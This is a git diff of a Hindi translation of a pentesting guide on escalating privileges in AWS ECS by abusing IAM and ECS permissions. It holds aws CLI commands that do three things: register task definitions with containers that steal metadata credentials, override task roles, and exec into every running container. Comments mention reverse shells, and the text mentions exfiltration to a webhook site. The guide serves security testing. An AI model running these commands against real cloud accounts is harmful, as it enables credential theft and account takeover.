Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md',

This commit is contained in:
Translator
2025-09-04 23:51:23 +00:00
parent a5a150c96d
commit 2b1d2c906a
4 changed files with 130 additions and 130 deletions

View File

@@ -4,7 +4,7 @@
## ECS
ECS के बारे में अधिक **जानकारी**:
ECS के बारे में अधिक जानकारी:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ ECS के बारे में अधिक **जानकारी**:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
एक attacker, ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` permission का दुरुपयोग करके **एक नया task definition बना** सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे run** कर सकता है।
ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमतियों का दुरुपयोग करने वाला एक हमलावर **नया task definition बना सकता है** जिसमें एक **दुष्ट container** होता है जो metadata credentials चुरा लेता है और **इसे चला सकता है**
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
webhook.site जैसी साइट के साथ एक webhook बनाएं
webhook.site जैसी साइट पर एक webhook बनाएं
```bash
# Create file container-definition.json
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**संभावित प्रभाव:** Direct privesc to a different ECS role.
**Potential Impact:** सीधा privesc एक अलग ECS role तक।
### `iam:PassRole`,`ecs:RunTask`
एक हमलावर जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हं, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task शुरू कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है।
ऐसा attacker जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हं, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task start कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है।
निर्दिष्ट IAM roles (`taskRoleArn` और `executionRoleArn`) की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/विश्वास होना चाहिए।
`taskRoleArn` और `executionRoleArn` के लिए निर्दिष्ट IAM roles की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/भरोसा होना चाहिए।
साथ ही, हमलावर को निम्न जानकारियाँ पता होनी चाहिए:
साथ ही, attacker को निम्न जानकारियाँ पता होनी चाहिए:
- ECS cluster name
- VPC Subnet
- Security group (यदि कोई security group निर्दिष्ट नहीं है तो default one उपयोग किया जाएगा)
- Security group (If no security group is specified the default one will be used)
- Task Definition Name and revision
- Name of the Container
```bash
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
ऊपर के कोड स्निपेट में attacker केवल `taskRoleArn` वैल्यू को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` दोनों पर `iam:PassRole` परमिशन होना जरूरी है ताकि यह attack हो सके।
ऊपर दिए गए कोड स्निपेट में attacker केवल `taskRoleArn` मान को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` पर `iam:PassRole` permission होना चाहिए ताकि attack संभव हो सके।
यदि attacker द्वारा पास की जा सकने वाली IAM role में ECR image को pull करने और ECS task शुरू करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` कमांड मे`executionRoleArn` और `taskRoleArn` दोनों के लिए वही IAM role निर्दिष्ट कर सकता है।
यदि attacker द्वारा पास की जा सकने वाली IAM role के पास ECR image को pull करने और ECS task को start करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` command में दोनो`executionRoleArn` और `taskRoleArn` के लिए वही IAM role निर्दिष्ट कर सकता है।
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,11 +121,11 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Potential Impact:** किसी भी ECS task role पर सीधे privesc
**संभावित प्रभाव:** सीधा privesc किसी भी ECS task role पर।
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
पिछले उदाहरण की तरह, एक attacker जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चोरी करे और उसे **run it**।\
पिछले उदाहरण की तरह, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करने वाला attacker **generate a new task definition** कर सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it**।\
हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance की आवश्यकता होगी।
```bash
# Generate task definition with rev shell
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**संभावित प्रभाव:** Direct privesc to any ECS role.
**संभावित प्रभाव:** किसी भी ECS role पर सीधा privesc।
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
पिछले उदाहरण की तरह, एक हमलावर जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it by creating a new service with at least 1 task running.**
जैसा कि पिछले उदाहरण में, ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`, `ecs:CreateService`** अनुमतियों का दुरुपयोग करने वाला attacker एक **नया task definition जनरेट** कर सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे कम से कम 1 task के साथ एक नया service बनाकर चलाता है।**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**संभावित प्रभाव:** Direct privesc to any ECS role.
**Potential Impact:** किसी भी ECS role पर सीधे privesc.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
दरअसल, सिर्फ़ उन अनुमतियों के साथ overrides का उपयोग करके किसी container में किसी भी role के साथ arbitrary commands चलाना संभव है, कुछ इस तरह:
दरअसल, केवल उन अनुमतियों के साथ overrides का उपयोग करके किसी भी role के साथ कंटेनर में मनचाहे कमांड चलाना संभव है, कुछ ऐसा:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**संभावित प्रभाव:** किसी भी ECS role पर सीधे privesc।
**संभावित प्रभाव:** Direct privesc to any ECS role.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
यह परिदृश्य पिछले वाले जैसा है लेकिन **बिना** **`iam:PassRole`** permission के।\
यह अभी भी महत्वपूर्ण है क्योंकि यदि आप एक मनमाना container चला सकते हैं, भले ही वह role के बिना हो, तो आप **run a privileged container to escape** करके node तक पहुँच सकते हैं और **steal the EC2 IAM role** और node पर चल रहे **other ECS containers roles** चुरा सकते हैं।\
आप यहाँ तक कि उस EC2 instance में भेजकर अन्य tasks को भी मजबूर कर सकते हैं जिसे आप compromise करते हैं ताकि उनक credentials चुरा सकें (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में चर्चा की गई है)।
यह परिदृश्य पिछले मामलों जैसा है लेकिन **बिना** **`iam:PassRole`** अनुमति के।\
यह अभी भी महत्वपूर्ण है क्योंकि यदि आप किसी arbitrary container को चला सकते हैं, भले ही उसमें कोई role न हो, तो आप नोड पर पहुँचने के लिए **एक privileged container चला कर escape कर सकते हैं** और नोड पर चल रहे **EC2 IAM role** और **अन्य ECS containers roles** को **चुरा सकते हैं**।\
आप यहाँ तक कि उन अन्य tasks को, जिन्हें आप compromise करते हैं, उनक credentials चुराने के लिए उस **EC2 instance** के अंदर चलने के लिए **मजबूर कर सकते हैं** (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में बताया गया है)।
> [!WARNING]
> यह attack सिर्फ तभी संभव है जब **ECS cluster is using EC2** instances हों और Fargate का उपयोग नहीं हो रहा हो
> यह हमला केवल तब संभव है जब **ECS cluster EC2 instances का उपयोग कर रहा हो** और Fargate नहीं
```bash
printf '[
{
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** permissions हों, attacker running container के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की जरूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है).\
हालाँकि, ऐसा करने के लिए container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता).
एक हमलावर जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** हों, वह चल रहे कंटेनर के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की जरूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है)।\
हालाँकि, ऐसा करने के लिए, container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता)
Therefore, the attacker cloud try to:
इसलिए, हमलावर कोशिश कर सकता है:
- **हर running container में command चलाने की कोशिश करें**
- **हर चल रहे कंटेनर में कमांड चलाने की कोशिश करना**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ task चलाएँ
- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ task चलाएँ
- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ service बनाएँ
- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ service अपडेट करें
- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ एक task चलाएँ
- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ एक task चलाएँ
- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक service बनाएँ
- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक service अपडेट करें
आप **उन विकल्पों के उदाहरण** को **previous ECS privesc sections** में पा सकते हैं।
न विकल्पों के **उदाहरण** आप **पिछले ECS privesc अनुभागों** में पा सकते हैं।
**Potential Impact:** containers से जुड़ किसी अलग role में Privesc।
**Potential Impact:** कंटेनरों से जुड़ किसी अलग role पर privesc।
### `ssm:StartSession`
जाँचें **ssm privesc page** में कि आप इस permission का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं:
देखें **ssm privesc पृष्ठ** में कि आप इस अनुमति का दुरुपयोग करके कैसे **ECS पर privesc** कर सकते हैं:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
जाँचें **ec2 privesc page** में कि आप इन permissions का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं:
देखें **ec2 privesc पृष्ठ** में कि आप इन permissions का दुरुपयोग करके कैसे **ECS पर privesc** कर सकते हैं:
{{#ref}}
aws-ec2-privesc.md
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
इन permissions वाले हमलावर संभावित रूप से एक EC2 instance को एक ECS cluster में register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context में arbitrary code execute करने की अनुमति मिल सकती है।
इन permissions वाले हमलावर संभावित रूप से किसी ECS cluster में एक EC2 instance register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context के भीतर मनमाना कोड execute करने की अनुमति मिल सकती है।
- TODO: क्या यह संभव है कि किसी अलग AWS account से instance register किया जाए ताकि tasks हमलावर द्वारा नियंत्रित machines पर चलें??
- TODO: क्या किसी अलग AWS account से instance register करना संभव है ताकि tasks हमलावर द्वारा नियंत्रित मशीनों पर चलें??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Test this
> TODO: परीक्षण करें
इन permissions वाले हमलावर `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` के साथ **existing ECS service के लिए एक malicious task set create कर सकते हैं और primary task set को update कर सकते हैं**। इससे हमलावर को सर्विस के भीतर **arbitrary code execute करने** की अनुमति मिलती है।
`ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` permissions वाले हमलावर **मौजूदा ECS service के लिए एक दुर्भावनापूर्ण task set बना सकते हैं और primary task set को अपडेट कर सकते हैं**। इससे हमलावर को **service के भीतर मनमाना कोड execute करने** की अनुमति मिलती है।
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**संभावित प्रभाव**: प्रभावित सेवा में Execute arbitrary code चलाया जा सकता है, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या संवेदनशील डेटा का exfiltrating हो सकता है।
**संभावित प्रभाव**: प्रभावित सेवा में arbitrary code निष्पादित करना, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या exfiltrating sensitive data किया जा सकता है।
## References
## संदर्भ
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)